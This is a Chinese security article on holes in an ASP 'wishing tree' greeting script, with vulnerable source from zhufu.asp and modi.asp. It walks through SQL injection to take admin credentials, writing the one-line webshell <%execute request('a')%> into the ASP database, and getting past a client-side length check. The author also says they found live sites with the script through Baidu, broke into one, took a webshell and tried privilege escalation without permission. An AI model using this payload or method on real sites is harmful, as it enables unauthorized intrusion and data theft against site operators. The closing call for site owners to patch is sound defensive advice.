频道栏目
首页 > 资讯 > 网站安全 > 正文

详解圣诞、元旦、春节许愿树脚本程序漏洞

11-01-14        来源:[db:作者]  
收藏   我要投稿

文/图 舒城李寅♂(梦幻剑客)
网络上充斥着多姿多彩的祝福方式,其中很大的一部分是通过许愿树程序实现的。前几天刚在网络上下载了一套声称是“三节祝福最佳程序”,将其拿到本地架设起来界面相当好看,可是程序上却存在诸多的漏洞,下面我就一起来看看。
 
注入漏洞
虽然迈入了新一年,可是注入依旧,大有迟迟不肯退出历史舞台的架势,这不注入再次出现了。在主页写入一段祝福,点提交后即会来到zhufu.asp文件。在这个文件中有如下一段代码:
<%
On Error Resume Next 
id = Request.QueryString("id")
y = Request.QueryString("y")
set rs=server.createobject("adodb.recordset")
sql="select * from wish where id="& id
rs.Open sql,newconn,1,2
……%>

代码很简单,大多数读者朋友都能看懂。第一句告诉程序出错后继续向下执行,变量id获取“id”的值保存起来,建立记录集后带入数据库查询,由于没有任何过滤导致注入出现。用工具的时候,注意将后面的参数去掉,很快便可猜解出密码和账户,如图1所示。密码是明文,没有用MD5加密,用猜解得到的账户和密码即可登录后台。

图1
 
一句话插入数据库
上面我们已经得到了用户和密码,直接进入后台,发现后台很简洁,没有任何上传功能,只能对祝福删除或修改操作。如果是MDB的数据库我就没辙了,可惜作者想安全,把数据库改成了ASP格式,数据库中没有防下载表,这样就造成了可以在后台插入一句话来获得WebShell。我在修改表单祝福内容中写入一句话小马“<%execute request(“a”)%>”,成功修改后发现连不上数据库,小马没有运行。看了源代码后才知道,原来在祝福内容中写入一句话被过滤了,当然不能运行。在modi.asp文件中有如下代码:
<%
a_name = Request("name")
a_id = Request("id")
a_name2= Request("name2")
a_from01= Request("from01")
a_oicq = Request("oicq")
a_memo = trim(Request("memo"))
a_memo = Server.HTMLEncode(Request("memo"))
a_memo = Replace( a_memo, vbCrLf, "<br>")
a_memo = Replace( a_memo, "", "")
SQLcmd = "update wish set "
SQLcmd = SQLcmd & "name=" & a_name & ",memo=" & a_memo & ",name2=" & a_name2 & ",from01=" & a_from01 & ",oicq=" & a_oicq & ",addtime=now where id="& a_id
……%>

这段代码只有祝福内容处用ASP内置对象Server.HTMLEncode做了过滤,转换成了html代码。我们写入的“<>”将被转换成 “< >”,小马自然运行不了了。不过其他变量却没有经过任何过滤。在名称处写入 <%execute request(“a”)%>,即可拿到WebShell。
上面是在后台插入的一句话,那么有没有可能在前台插入呢?答案是肯定的。不过前台插马没有测试,可以自行测试,我只在这里提供一个思路。前台我尝试写入一句话木马,可惜在内容处和后台一样用Server.HTMLEncode过滤了,其他地方也和后台一样没有任何过滤,但是用JavaScript脚本限制了输入长度。这个我们可不陌生,记得有的网站程序在上传地方加入一段JavaScript代码来验证是否为合法后缀名,而JavaScript只是在客户端验证的,没有放到服务器端,我们只要修改一下,在把action值改成绝对路径,保存后再上传就可以拿到WebShell了。这里也一样,我们同理修改长度就可绕过限制,写入一句话也能得到WebShell。
另外,程序数据库连接文件中没有“on error resume next”这句话,应该存在暴库漏洞的,可是实际操作起来却出现了如图2所示的错误提示,可能是数据库连接方式不同吧。很遗憾,漏洞没有办法利用,要不和数据库漏洞配合起来就很完美了。

图2
 
网络测试
在百度搜索采用这套程序的网站,会发现不少网站,随便选择一个,依旧和本地测试一样,主要还是注入漏洞在作怪。直接用啊D扫密码和账户,进后台后随便找个祝福修改,在名称处写入一句话木马,插入数据库后用一句话木马客户端连上即可得到WebShell,如图3所示。

图3
拿到WebShell后我尝试提权,发现服务器开放了21、3389、1433、43958等端口,用Serv-U提权,只可惜IP是内网的连接不上,我就没有再继续下去了。本程序既然可以插马,当然也存在XSS跨站漏洞了,我在这里就不操作了。
由于本程序是祝福程序,相信使用这个程序的网站不在少数,看到本文的站长们请尽快修补漏洞,以免造成损失

相关TAG标签
上一篇:MySQL server has gone away的解决办法
下一篇:系统优化大师V2007算法分析
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站